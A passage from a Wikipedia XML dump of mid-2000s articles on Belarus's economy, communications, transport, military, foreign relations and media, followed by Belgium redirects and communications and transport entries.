[[Peat]], the country's most valuable [[mineral]] resource, is used for fuel and fertilizer and in the chemical industry. Belarus also has deposits of [[clay]], [[sand]], [[chalk]], [[dolomite]], [[phosphorite]], and [[rock salt|rock]] and [[potassium]] [[salt]]. Forests cover about a third of the land, and [[lumber]]ing is an important occupation. [[Potato]]es, [[flax]], [[hemp]], [[sugarbeet]]s, [[rye]], [[oat]]s, and [[wheat]] are the chief agricultural products. [[Dairy]] and beef [[cattle]], [[pig]]s, and [[chicken]]s are raised. Belarus has only small reserves of [[petroleum]] and [[natural gas]] and imports most of its oil and gas from [[Russia]]. The main branches of industry produce tractors and trucks, earth movers for use in construction and mining, metal-cutting machine tools, agricultural equipment, motorcycles, chemicals, fertilizer, textiles, and consumer goods. The chief trading partners are Russia, [[Ukraine]], [[Poland]], and [[Germany]].

The massive nuclear accident ([[April 26]], [[1986]]) at the [[Chernobyl]] power plant, across the border in [[Ukraine]], had a devastating effect on Belarus; as a result of the radiation release, agriculture in a large part of the country was destroyed, and many villages were abandoned. Resettlement and medical costs were substantial and long-term.

In 2000, Belarus managed to unify its currency exchange rates, tightened its monetary policy, and partially liberalized the foreign currency market. These developments led to the conclusion of a staff-monitored program in cooperation with the [[International Monetary Fund]], addressing, among other topics price and wage liberalization, a widening of privatization, fiscal reform, the adoption of international accounting standards in the banking sector, and the repeal of several egregious laws and decrees to improve the investment climate. The program was conducted between April and September [[2001]], with relatively disappointing results.

The [[World Bank]] is currently considering a new country assistance strategy for Belarus, focusing on areas such as targeted social assistance, [[AIDS]]/[[HIV]] and [[tuberculosis]] prevention, environmental protection, Chernobyl-related damage, and small and medium enterprise development. In June 2001, the World Bank approved a loan of $22.6 million to finance repairs in over 450 schools, hospitals, and homes for orphans, the elderly and the disabled throughout Belarus.

According to famous Belarusian economists Anton Hryshukou and Maxim Kostyuckovich, Belarus has huge market potential though it is rather arguable when it will be able to realize and implement it. On the one hand, huge territories and relatively low cost of manpower make it ideal for outsourcing and development. On the other hand, however, it is might be a bit tricky to apply them internationally as the country is still in transitory state and needs some further reforms.

==Environmental issues==
Belarus has established ministries of energy, forestry, [[land reclamation]], and water resources and state committees to deal with ecology and safety procedures in the nuclear power industry. The most serious environmental issue in Belarus results from the accident at the [[1986]] [[Chernobyl]] [[nuclear power plant]]. About 70% of the nuclear fallout from the plant landed on Belarusian territory, and about 25% of the land is considered uninhabitable. But government restrictions on residence and use of contaminated land are not strictly enforced. As noted, the government receives [[United States|USA]] assistance in its efforts to deal with the consequences of the [[radioactive contamination|radiation]].

==Other statistics==
'''Investment (gross fixed):'''
24.2% of GDP (2005 est.)

'''Household income or consumption by percentage share:'''
* ''lowest 10%:'' 5.1%
* ''highest 10%:'' 20% (1998)

'''Distribution of family income - [[Gini index]]:'''
21.7 (1998)

'''Agriculture - products:'''
grain, potatoes, vegetables, sugar beets, flax; beef, milk

'''Industrial production growth rate:'''
4% (2004 est.)

'''Electricity:'''
* ''production:'' 30 [[TWh]] (2004)
* ''consumption:'' 34.3 TWh (2004)
* ''exports:'' 0.8 TWh (2004)
* ''imports:'' 3.2 TWh (2003), mainly from [[Russia]] and [[Lithuania]] [https://www.uktradeinvest.gov.uk/ukti/appmanager/ukti/home?_nfpb=true&amp;searchPageSearch_actionOverride=/pub/portlets/search/displayDetail&amp;searchPageSearchdocument=%2FBEA+Repository%2F327%2F226047]

'''Electricity - production by source:'''
* ''fossil fuel:'' 99.5%
* ''hydro:'' 0.1%
* ''other:'' 0.4% (2001)
* ''nuclear:'' 0%

'''Oil:'''
* ''production:'' 36,000 bbl/day (2004 est.)
* ''consumption:'' 285,000 bbl/day (2003 est.)
* ''exports:'' 14,500 bbl/day (2003 est.)
* ''imports:'' 360,000 bbl/day (2004 est.)

'''Natural gas:'''
* ''production:'' 250 million cu m (2004 est.)
* ''consumption:'' 18.8 billion cu m (2004 est.)
* ''exports:'' 0 cu m (2004 est.)
* ''imports:'' 18.5 billion cu m (2004 est.)

'''Current account balance:'''
$312.4 million (2005 est.)

'''Exports - commodities:'''
machinery and equipment, mineral products, chemicals, metals; textiles, foodstuffs

'''Imports - commodities:'''
mineral products, machinery and equipment, chemicals, foodstuffs, metals

'''Reserves of foreign exchange &amp; gold:'''
$835.4 million (2005 est.)

'''Debt - external:'''
$4.662 billion ([[30 June]] [[2005]] est.)

'''Exchange rates:'''
Belarusian rubles per US dollar - 2,150 (2005), 2,170 (2004), 1,790.92 (2003), 1,920 (2002), 1,390 (2001), 876.75 (2000)

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

==See also==
*[[Economy of Europe]]

[[Category:Economy of Belarus| ]]
[[Category:Economies by country|Belarus]]

[[ru:Экономика Белоруссии]]
[[es:Economía de Bielorrusia]]
[[lt:Baltarusijos ekonomika]]
[[pt:Economia da Bielorrússia]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Belarus</title>
    <id>3535</id>
    <revision>
      <id>23660132</id>
      <timestamp>2005-09-21T07:35:42Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">'''Telephones - main lines in use:'''
3,071 million (2003)

'''Telephones - mobile cellular:'''
2.349 million (2005)

'''Telephone system:'''
the Ministry of Telecommunications controls all telecommunications through its carrier (a joint stock company) Beltelcom which is a monopoly
&lt;br&gt;''domestic:''
local - [[Minsk]] has a digital metropolitan network and a cellular NMT-450 network; waiting lists for telephones are long; local service outside Minsk is neglected and poor; intercity - Belarus has a partly developed fiber-optic backbone system presently serving at least 13 major cities (1998); Belarus's fiber optics form synchronous digital hierarchy rings through other countries' systems; an inadequate analog system remains operational
&lt;br&gt;''international:''
Belarus is a member of the Trans-European Line (TEL), Trans-Asia-Europe Fiber-Optic Line (TAE) and has access to the Trans-Siberia Line (TSL); three fiber-optic segments provide connectivity to [[Latvia]], [[Poland]], [[Russia]], and [[Ukraine]]; worldwide service is available to Belarus through this infrastructure; additional analog lines to Russia; [[Intelsat]], [[Eutelsat]], and Intersputnik earth stations

'''Radio broadcast stations:'''
AM 28, FM 37, shortwave 11 (1998)

'''Radios:'''
3.02 million (1997)

'''Television broadcast stations:'''
17 (1997)

'''Televisions:'''
2.52 million (1997)

'''Internet Service Providers (ISPs):'''
1 (1999)

'''[[Country code]]:''' BY

==Reference==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000.''

[[Category:Communications in Belarus| ]]
[[Category:Communications by country|Belarus]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Belarus</title>
    <id>3536</id>
    <revision>
      <id>23659912</id>
      <timestamp>2005-09-21T07:30:26Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>removed from superfluous parent cat</comment>
      <text xml:space="preserve">== Railways  ==
&lt;br&gt;''total:''
5,563 km
&lt;br&gt;''broad gauge:''
5,563 km 1.520-m gauge (894 km electrified)

City with [[Metro|underground]] railway system: [[Minsk]]

=== Rail links with adjacent countries ===

* [[Transportation in Poland|Poland]] - yes - [[break-of-gauge]] 1524mm/1435mm
* [[Transportation in Lithuania|Lithuania]] - yes
* [[Transportation in Latvia|Latvia]] - yes
* [[Transportation in Russia|Russia]] - yes
* [[Transportation in Ukraine|Ukraine]] - yes

== Highways ==
&lt;br&gt;''total:''
63,355 km
&lt;br&gt;''paved:''
60,567 km
&lt;br&gt;''unpaved:''
2,788 km (1998 est.)

== Waterways ==
NA km; note - [[Belarus]] has extensive and widely used canal and river systems

== Pipelines ==
crude oil 1,470 km; refined products 1,100 km; natural gas 1,980 km (1992)

== Ports and harbors ==
* [[Mazyr]]

== Airports ==
118 (1996 est.):

* [[Minsk International Airport]]

=== Airports - with paved runways ===
&lt;br&gt;''total:''
36
&lt;br&gt;''over 3,047 m:''
2
&lt;br&gt;''2,438 to 3,047 m:''
18
&lt;br&gt;''1,524 to 2,437 m:''
5
&lt;br&gt;''under 914 m:''
11 (1996 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
82
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
6
&lt;br&gt;''1,524 to 2,437 m:''
4
&lt;br&gt;''914 to 1,523 m:''
9
&lt;br&gt;''under 914 m:''
62 (1996 est.)

== National air-carrier ==
*[[Belavia]]

== Reference ==
''Much of the material in this article comes from the [[CIA World Factbook]] 2000.''

[[Category:Transportation in Belarus| ]]</text>
    </revision>
  </page>
  <page>
    <title>Armed Forces of Belarus</title>
    <id>3537</id>
    <revision>
      <id>41667484</id>
      <timestamp>2006-02-28T23:12:11Z</timestamp>
      <contributor>
        <username>Redline</username>
        <id>578139</id>
      </contributor>
      <comment>/* Equipment */</comment>
      <text xml:space="preserve">{| border=1 width=300 cellpadding=2 cellspacing=0 align=right style=&quot;margin-left:1em&quot;
|-
! colspan=2 bgcolor=#8888dd | Armed Forces of Belarus
|-
| colspan=2 align=center | '''Military manpower'''
|-
| Military age || 18 years of age
|-
| Availability
| males age 15-49: 2,164,923 (2004 est.)
|-
| Reaching military age annually || males: 86,716 (2004 est.)
|-
| colspan=2 align=center | '''Military expenditures'''
|-
| Dollar figure || $176.1 million (FY2002 est.)
|-
| Percent of GDP || 1.4% (FY2002 est.)
|}

The turbulent history of [[Belarus]], as well as its close relationship with [[Russia]], have played a large role in its military structure and deployment. The armed forces of Belarus consist of the [[Army]] and the [[Air Force]], all under the command of the Ministry of Defense of the Republic of Belarus.

== Organization ==
[[Image:Ministry of Defense Republic of Belarus.jpg|thumb|130px|Symbol of the [[Belarusian Ministry of Defense]].]]

Prior to the dissolution of the Soviet Union there were 180,000 Russian soldiers stationed in Belarus, who answered directly to Moscow High Command and not Belarusian Military Commanders. In May 1992 the Military District of Belarus was abolished, and on [[1 January]], [[1993]] all service personnel on Belarusian soil were required to either take an oath of loyalty to Belarus, or leave. This oath however did not alleviate concerns regarding loyalty to Russia in time of crisis, especially since nearly 50% of all military personnel were ethnically Russian at the end of 1992.

The current personnel levels in the armed forces are numbered at 82,900, although a reduction to 60,000 is planned. Most soldiers are [[conscripts]] serving for a period 12 months (with higher education) or 18 month (without). The branches are as follows (2004):

* '''Army''': 43,357 (two motor divisions, one artillery division, one airborne brigade, two anti-tank brigades)

* '''Air Force''': 22,466 (two interceptor regiments, three strike regiments, one reconnaissance regiment)

* '''Ministry of Defense''': 17,077 (72-1 Guard Unit Training Center, one special duties brigade)

== Equipment ==
The military forces of Belarus are exclusively armed with Soviet-era equipment acquired during the [[Cold War]] from Russia. Although large in numbers, the equipment is in questionable condition, and outdated by Western standards. The MBTs are of Russian type [[T-72]], [[T-62]], and [[T-54]], and AFVs are of Russian type [[MT-LB]], [[BMP-2]], [[BMP-1]], and the [[BMD-1]]. The Air Force is equipped with [[Mig-23]], [[Mig-25]], [[Mig-29]] [[Su-27]] fighters, [[Mig-27]], [[Su-17]], [[Su-24]], [[Su-25]] bombers, as well as [[Mi-8]], [[Mi-24]], and the [[Poland|Polish]] built [[Mi-2]] attack helicopters. Equipment statistics are as follows (including equipment held in storage and reserves) (2004):

* '''Army''': 1800 MBT, 2600 AFV/APC.

* '''Air Force''': 260 FGA/training, 80 Attack Helicopters.

== Military Doctrine ==
The military goals of the armed forces of Belarus are to defend the interests of the Belarusian state. This however is at times ambiguous, and is made even more complex with the various agreements that have been recently signed with Russia. Membership in the [[Commonwealth of Independent States]], as well as the Treaty on Russia-Belarus Union (1997), and the Treaty of the Formation of a Union State (1999), have seemingly returned Belarus back into the heavy sphere of influence by Russia. Much of the Air Defense system is integrated into the Russian defense network, thus making Belarus heavily dependent on Russian resources and aid. It is unclear what the future will hold for Belarusian Military Forces, and what their role in the world will be.

==External links==
* [http://www.mod.mil.by/ Official Website of the Ministry of Defense of Belarus]

[[Category:Militaries|Belarus]]
[[Category:Military of Belarus]]

[[ru:Вооружённые силы Белоруссии]]
[[lt:Baltarusijos karinės pajėgos]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Belarus</title>
    <id>3538</id>
    <revision>
      <id>34766196</id>
      <timestamp>2006-01-11T16:03:38Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>template</comment>
      <text xml:space="preserve">{{Politics of Belarus}}
== History (until 2000) ==
Beside [[Ukrainian SSR]], [[Byelorussian SSR]] was the only [[Soviet Union|Soviet]] republic that were members of the [[United Nations]]. Both republics and the [[Soviet Union]] joined the UN when the organization was founded in [[1945]].

Since the [[collapse of the Soviet Union]], after gaining its independence, Belarus became a member of the [[Commonwealth of Independent States]] (CIS), the [[Organization for Security and Cooperation in Europe]] (OSCE), [[NATO]]'s [[Partnership for Peace]], the [[North Atlantic Cooperation Council]], the [[International Monetary Fund]], and the [[World Bank]]. It is also [[Union of Russia and Belarus|politically united with Russia]] since [[April 2]] [[1996]].

=== Belarus-Russia relations ===

The introduction of [[free trade]] between [[Russia]] and Belarus in mid-[[1995]] led to a spectacular growth in bilateral trade, which was only temporarily reversed in the wake of the [[History of post-Soviet Russia#The crises of 1998|financial crisis of 1998]]. President [[Alexander Lukashenko]] sought to develop a closer relationship with Russia. The framework for the [[Union of Russia and Belarus]] was set out in the Treaty On the Formation of a Community of Russia and Belarus (1996), the Treaty on Russia-Belarus Union, the Union Charter (1997), and the Treaty of the Formation of a Union State (1999). The integration treaties contained commitments to [[monetary union]], [[equal rights]], single citizenship, and a common defence and [[foreign policy]].  

=== Belarus-EU relations ===

Following the recognition of Belarus as an independent state in December [[1991]] by the [[European Community]], EC/EU-Belarus relations initially experienced a steady progression. The signature of the Partnership and Cooperation Agreement (PCA) in [[1995]] signaled a commitment to political, economic and trade cooperation. Some assistance was provided to Belarus within the framework of the [[TACIS]] programme and also through various aid programs and loans. However, progress in EU-Belarus relations stalled in [[1996]] after serious setbacks to the development of democracy, and the [[Drazdy conflict]]. The EU did not recognize the 1996 constitution, which replaced the [[1994]] constitution. The [[Council of the European Union]] decided against Belarus in [[1997]]: The PCA was not concluded, nor was its trade-related part; Belarusian membership in the [[Council of Europe]] was not supported; bilateral relations at the ministerial level were suspended and EU technical assistance programs were frozen.
Acknowledging the lack of progress in relation to bilateral relations and the internal situation following the position adopted in [[1997]], the EU adopted a step-by-step approach in [[1999]], whereby sanctions would be gradually lifted upon fulfillment of the four [[benchmark]]s set by the [[Organization for Security and Co-operation in Europe]]. In [[2000]], some moderately positive developments toward the implementation of recommendations made by the OSCE AMG were observed but were not sufficient in the realm of access to fair and free elections.

=== Belarus-U.S. relations ===

The [[United States]] has encouraged Belarus to conclude and adhere to agreements with the [[International Monetary Fund]] (IMF) on the program of macroeconomic stabilization and related reform measures, as well as to undertake increased privatization and to create a favorable climate for business and investment. Although there has been some American direct private investment in Belarus, its development has been relatively slow given the uncertain pace of reform. An Overseas Private Investment Corporation agreement was signed in June [[1992]] but has been suspended since 1995 because Belarus did not fulfill its obligations under the agreement. Belarus is eligible for [[Export-Import Bank of the United States|Export-Import Bank]] short-term financing [[insurance]] for U.S. investments, but because of the adverse business climate, no projects have been initiated. The IMF granted standby credit in September 1995, but Belarus has fallen off the program and did not receive the second tranche of funding, which had been scheduled for regular intervals throughout 1996.

== Present situation (2001 onwards) ==

=== Belarus-Russia relations ===

[[Russia]] remains the largest and most important partner for Belarus both in the political and economic fields. After protracted disputes and setbacks, the two countries' [[customs duty|customs duties]] were unified as of March 2001 but the customs controls were soon restored. In terms of [[trade]], almost half of Belarusian [[export]] goes to Russia. Due to the structure of Belarusian [[industry]], Belarus relies heavily on Russia both for export markets and for the supply of [[raw materials]] and components. After initial negotiation with the Russian [[Central Bank]] on [[monetary union]], the [[Russian rouble]] was set to be introduced in 2004 in Belarus, but it was soon postponed. Then it was set that Russian rouble would be introduced in 2005, but it was postponed again. Finally, it was set to be introduced in [[2006]], but it seems to be cancelled again for an undefinite period of time.

=== Belarus-EU relations ===

The structure of Belarus trade reflects the low competitiveness and output decline of manufacturing industry in the country over the past decade, leading to the predominance of primary production work intensive goods in the export. Belarusian exports to EU consist mainly of agricultural and textile products, while the EU exports is primarily machinery. 

Belarus is a beneficiary of EU's Generalised System of Preferences (GSP). European Commission decided in 2003 to initiate an investigation into violation of freedom of association in Belarus as the first step towards a possible temporary withdrawal of the GSP from Belarus.
In December 2004 EU adopted a position aimed at imposing travel restrictions on officials from Belarus responsible for the fraudulent parliamentary elections and referendum on [[17 October]] [[2004]] and for human rights violations during subsequent peaceful political demonstrations in Minsk.
The [[European Parliament]] released a statement in March [[2005]] in which it denounced the Belarussian regime as dictatorship. The European parliamentarians were primarily concerned about the suppression of independent media outlets in the country and 
about the fraudulent referendum. The resolution of the European Parliament stated that personal bank accounts of President Lukashenko and other high-ranking Belarussian officials should be tracked and frozen.
 
In 2005, [[Amnesty International]] reported a ''pattern of deliberate obstruction, harassment and intimidation of human rights defenders'' in Belarus. [[Reporters Without Borders]] accused the Belarusian authorities of hounding and arresting journalists from the country's Polish minority. Lukashenko has closed the country's main Polish newspaper, printing a bogus paper instead with the same name and size that praised his [[incumbent]] regime. Several foreign, mainly Polish, journalists were arrested or expelled from the country. Lukashenko accused [[Poland]] of an attempt to overthrow his regime by stirring up a peaceful revolution in Belarus like the [[orange revolution]] in [[Ukraine]] in 2004.

Later in 2005 the Belarusian [[riot police]] seized the headquarters of the [[Union of Poles in Belarus]], an association representing the 400,000 [[ethnic minority]] [[Polish people]] living in western areas the country that were part of Poland until [[World War II]]. The dispute between Poland and Belarus escalated further as Poland responded by recalling its ambassador from Belarus for indefinite consultations, and called on the [[European Union]] to impose sanctions on the Belarusian leadership in order to curtail the [[human rights]] abuses in Belarus. Belarusian papers described this as a 'dirty political game', and part of a 'cold war' waged on president Lukashenko. Polish Foreign Minister [[Adam Rotfeld]] said a clampdown was under way, aimed at destroying ''&quot;all elements of political pluralism and independence&quot;'' in Belarus. 

In August 2005 the EU's executive commission called for human rights to be respected in Belarus. The commision said it was considering offering support to independent media in the country and had set aside more than eight million euros from its budget to offer support for human rights activities. [[France]] expressed her solidarity with Poland on the issue of human rights in Belarus a day after the EU declared it was worried about the situation in the country. Several former Soviet Republics, including neighbouring Ukraine, also expressed their concerns about the development of the situation in Belarus.

=== Belarus-U.S. relations ===

Belarus has had an ongoing discussion to relaunch IMF-backed reforms, concluding an arrangement for an IMF Staff-monitored program (SMP) in 2001. However, the authorities did not follow through with reforms as hoped, leaving an uncertain future for IMF-backed cooperation. Belarus authorities have said on several occasions that they find IMF intervention and recommendations in Belarus counter-productive to the economical development of those countries.
The relationships with the [[United States]] have been further strained, after [[Congress of the United States]] unanimously passed the [[Belarus Democracy Act of 2004]].

=== Border and territory disputes ===

* with [[Latvia]]: boundary remains undemarcated 
* with [[Lithuania]]: only a third of the border demarcated
* with [[Ukraine]]: unratified boundary treaty prevents border demarcation

[[Category:Foreign relations of Belarus| ]]
 

[[ru:Внешняя политика Белоруссии]]</text>
    </revision>
  </page>
  <page>
    <title>Belarusian media</title>
    <id>3539</id>
    <revision>
      <id>39747955</id>
      <timestamp>2006-02-15T16:17:12Z</timestamp>
      <contributor>
        <username>Taikos</username>
        <id>313629</id>
      </contributor>
      <comment>some links</comment>
      <text xml:space="preserve">'''Belarusian media''', since the days when [[Belarus]] gained its independence, comprise state-owned and private newspapers and magazines, and state-owned radio and television. [[Internet]] sites, both state-controlled and independent, play an increasing role. 

== Perestroika period == 

During the time of [[perestroika]] and after the [[collapse of the Soviet Union]] media expression flourished, with a wide variety of newspapers that presented a wide variety of points of view.

== [[Alexander Lukashenko|Lukashenko]] period ==

[[Image:Belarus-Minsk-Mass Media in Belarus-For Diaspora.jpg|thumb|200px|&quot;Mass Media in Belarus&quot; exhibition. &quot;Mass Media for Diaspora&quot; booth. May 5, 2005]]

After 10 years of Lukashenko's presidency, most of the '''Belarusian media''' outlets (newspapers, radio, television) are owned by the state.  The state-controlled media present  pro-[[government]] points of view and interpretation of events as in the [[Soviet Union|Soviet]] period. There are a number of privately owned media outlets, mostly small independent newspapers. They operate under a permanent threat of being closed down for violating various government regulations, such as mis-stating their corporate name on their publication or operating out of an office not registered with the government (in fact, this is the situation for all private enterprises in Belarus).

=== Free expression limited ===

Many western human rights groups state that the [[civil right]]s of free expression are severely limited in Belarus, though there are some individuals and groups that refuse to be controlled and some of the journalists have disappeared. What makes the situation complex, however, is that the relatively free Russian media is allowed to transmit television programming, sell newspapers and conduct journalistic activities in Belarus (though some Russian journalists have been expelled by the Belarusian government) thus giving some members of the public, typically those in large cities with many Russian residents, access to an alternative point of view in the Russian language (nearly all Belarusians understand and most of them speak Russian).

In [[2004]], media watchdog [[Reporters Without Borders]] ranked Belarus 144th out of 167 countries. For comparison, in the same index Ukraine was 138th and Russia was 140th, while the closest of the other European countries were Serbia at 77 and Romania at 70.

=== Examples of propaganda ===

Perhaps the most obvious examples of Belarusian [[propaganda]] are imaginary terrorist stories, whereby alleged terrorists are said to be plotting to overthrow President [[Aleksandr Lukashenko]].

The state controlled media in Belarus deny that there is any bias or censoring of [[freedom of expression]] in Belarus. They point to the Belarusian people's overwhelming re-election of Lukashenko (also known as Luka) on [[September 9]], [[2001]] claiming that this shows that the anti-democracy sentiment in Belarus is genuine and that the Belarusian people and media do have the right to free speech - they simply do not want to criticize their government because they believe it to be running the country well. Once outside Belarus and free of fear of reprisal, most Belarusians are vocal in their discontent with the Soviet-style system that prevents free enterprise and democracy from taking root in Belarus as it has in neighboring post-Soviet countries. They also point to the fact that the standard of living of Belarus is comparatively low.

:''See also :'' [[Politics of Belarus]]

==External links==

Non-state controlled media and criticism:

* http://www.charter97.org/eng/news/    Pro-democracy alternative Belarus news blog
* http://www.hrw.org/wr2k2/europe4.html Human Rights Watch 2002 Belarus Report
* http://www.zubr-belarus.com/index.php?lang=2 &quot;Bison&quot; Youth Protest Movement
* http://www.osce.org/belarus/ OSCE office in Belarus
* http://www.ilhr.org/ilhr/regional/belarus/index.html International League of Human Rights Belarus Project
* http://www.rsf.org/article.php3?id_article=1049 Reports without Frontiers article on Belarus press freedoms
* http://www.zubr.com/en/catalog/17.html List of Belarusian media outlets
* http://www.cpj.org/attacks03/europe03/belarus.html Attacks on the Press:2003
* http://www.ifex.org/en/content/view/full/188/ IFEX Alerts on media freedom violations in Belarus

Statement from the Belarusian Embassy to the U.S. on Mass Media in Belarus:
* http://www.belarusembassy.org/media/index.htm

* http://www.e-belarus.org/links/media.html Media in Belarus (Media Directory)
[[Category:Belarusian media]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/History</title>
    <id>3540</id>
    <revision>
      <id>15901862</id>
      <timestamp>2002-03-01T15:32:21Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/Geography</title>
    <id>3541</id>
    <revision>
      <id>15901863</id>
      <timestamp>2002-08-03T14:46:03Z</timestamp>
      <contributor>
        <username>Scipius</username>
        <id>488</id>
      </contributor>
      <comment>moved to [[Geography of Belgium]]</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/People</title>
    <id>3542</id>
    <revision>
      <id>15901864</id>
      <timestamp>2002-08-20T15:36:54Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/Government</title>
    <id>3543</id>
    <revision>
      <id>15901865</id>
      <timestamp>2002-08-03T14:43:45Z</timestamp>
      <contributor>
        <username>Scipius</username>
        <id>488</id>
      </contributor>
      <comment>moved to [[Politics of Belgium]]</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium/Economy</title>
    <id>3544</id>
    <revision>
      <id>15901866</id>
      <timestamp>2002-08-03T14:52:06Z</timestamp>
      <contributor>
        <username>Scipius</username>
        <id>488</id>
      </contributor>
      <comment>moved to [[Economy of Belgium]]</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Belgium]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Belgium</title>
    <id>3545</id>
    <revision>
      <id>19251676</id>
      <timestamp>2005-07-20T20:11:04Z</timestamp>
      <contributor>
        <username>Joolz</username>
        <id>123025</id>
      </contributor>
      <comment>{{CIA}}</comment>
      <text xml:space="preserve">{{CIA}}
'''Telephones - main lines in use:'''  4.769 million (1997) - 5.2 million in 2003 

'''Telephones - mobile cellular:''' 974,494 (1997) - 8.1 million in 2003

'''Telephone system:'''
highly developed, technologically advanced, and completely automated domestic and international telephone and telegraph facilities
&lt;br /&gt;''domestic:''
nationwide cellular telephone system; extensive cable network; limited microwave radio relay network
&lt;br /&gt;''international:''
5 submarine cables; satellite earth stations - 2 Intelsat (Atlantic Ocean) and 1 Eutelsat

'''Radio broadcast stations:''' FM 79, AM 7, shortwave 1 (1998)

'''Radios:''' 8.075 million (1997)

'''Television broadcast stations:''' 25 (plus 10 repeaters) (1997)

'''Televisions:''' 4.72 million (1997)

'''Internet Service Providers (ISPs):'''  61 (2000)

'''Internet users:''' 3.76 million (2002) - 5.1 million in 2004

'''[[Country code]]:''' BE

==Reference==
''Much of the material in this article is adapted from the [[CIA World Factbook]] .''

:''See also:'' [[Belgium]]

[[Category:Communications by country|Belgium]]
[[Category:Communications in Belgium| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Belgium</title>
    <id>3546</id>
    <revision>
      <id>40334793</id>
      <timestamp>2006-02-19T22:08:16Z</timestamp>
      <contributor>
        <username>Meddlin' Pedant</username>
        <id>51586</id>
      </contributor>
      <minor />
      <text xml:space="preserve">This article is about '''transportation in Belgium'''.

==Railways==
''Main article'': [[Rail transport in Belgium]]

Total of 3,437 km (2,446 km electrified; 2,563 km double track) all on [[standard gauge]] of 1.435 m (1998).

[[NMBS/SNCB]] is the National Railway Company of Belgium. 

Trains, unlike road traffic, run on the left. 

City with [[metro]] system: [[Brussels]] (''[[MIVB/STIB]]'', see also [[Brussels Metro]]). Cities with [[light rail]] systems: [[Antwerp]] (''De Lijn''), [[Charleroi]] (''TEC''), [[Ghent]] (''De Lijn'').  Some heavy [[metro]] infrastructures were built in [[Antwerp]] and in [[Charleroi]] and its suburbs, but these are currently used by [[light rail]] vehicles, and their conversion to full [[metro]] is not envisaged at present due to lack of funds.

===Rail links with adjacent countries===
*All adjacent countries use the same 1.435 m gauge.
*[[Transportation in the Netherlands|Netherlands]] - yes - different voltage [[3000VDC]]/[[1500VDC]]
*[[Transportation in Germany|Germany]] - yes - different voltage [[3000VDC]]/[[15kVAC]]
*[[Transportation in Luxembourg|Luxembourg]] - yes - different voltage [[3000VDC]]/[[25kVAC]]??
*[[Transportation in France|France]] - yes - different voltage [[3000VDC]]/[[25kVAC]]

==Roads==
===Highways===
&lt;br /&gt;''total:''
149,018 km (2002)
&lt;br /&gt;''highways:''
1,729 km
&lt;br /&gt;''regional roads:''
12,610 km
&lt;br /&gt;''others:''
134,679 km

The highways[http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/overzichtb.html] in Belgium are marked with a letter '''A''' and a number. Most often however the European numbering system is used. There is however not always a one-on-one relationship between the two numbering systems along the whole length of the highways.

*[[A1 road (Belgium)|A1]]([[European route E19|E19]]): [[Brussels]] - [[Antwerp]] - [[Breda]]
*[[A4 road (Belgium)|A4]]([[European route E411|E411]]): [[Brussels]] - [[Wavre]] - [[Namur]] - [[Arlon]] - [[Luxembourg]]
*[[A10 road (Belgium)|A10]]([[European route E40|E40]]): [[Brussels]] - [[Ghent]] - [[Brugge]]
*[[A14 road (Belgium)|A14]]([[European route E17|E17]]): [[Lille]] - [[Kortrijk]] - [[Ghent]] - [[Antwerp]]
*[[A18 road (Belgium)|A18]]([[European route E40|E40]]): [[Brugge]] - [[Veurne]] - [[Dunkerque]] 
*[[A2 road (Belgium)|A2]]([[European route E314|E314]]): [[Leuven]] - [[Lummen]] - [[Genk]]
*[[A3 road (Belgium)|A3]]([[European route E40|E40]]): [[Brussels]] - [[Leuven]] - [[Liège (city)|Li&amp;egrave;ge]] - [[Aachen]]

===Ringways===
The ringways[http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/rb.html](or orbital roads) around bigger cities have their proper nomenclature. The names start with a '''R''' then a first digit indicating the (old)province, and sometimes a second digit to further differentiate in between different ringways. 

Some major examples are:
*[[R0 road (Belgium)|R0]][http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/rb0.html] is the outer ringway of Brussel; The [[R20 road (Belgium)|R20]] and [[R20 road (Belgium)|R20]] are parts of inner ringways arround [[Brussels]].
*[[R1 road (Belgium)|R1]][http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/rb1.html] is the southern half ringway and [[R2 road (Belgium)|R2]][http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/rb2.html] is the northern half ring way around [[Antwerp]]
*[[R3 road (Belgium)|R3]][http://www.xs4all.nl/~egavic/ASN/be/frames.html?/~egavic/ASN/be/rb3.html] is the outer ringway and [[R9 road (Belgium)|R9]] is the inner ring way around [[Charleroi]]. The outer ring is the only ring in Belgium to be a full ring (using part of the [[E42 road (Belgium)|E42]]), and the inner ring is counterclockwise-only.
*[[R4 road (Belgium)|R4]][http://www.autosnelwegen.net/be/frames.html?/be/rb4.html] is the outer ringway and [[R40 road (Belgium)|R40]] is the inner ring way around [[Ghent]]
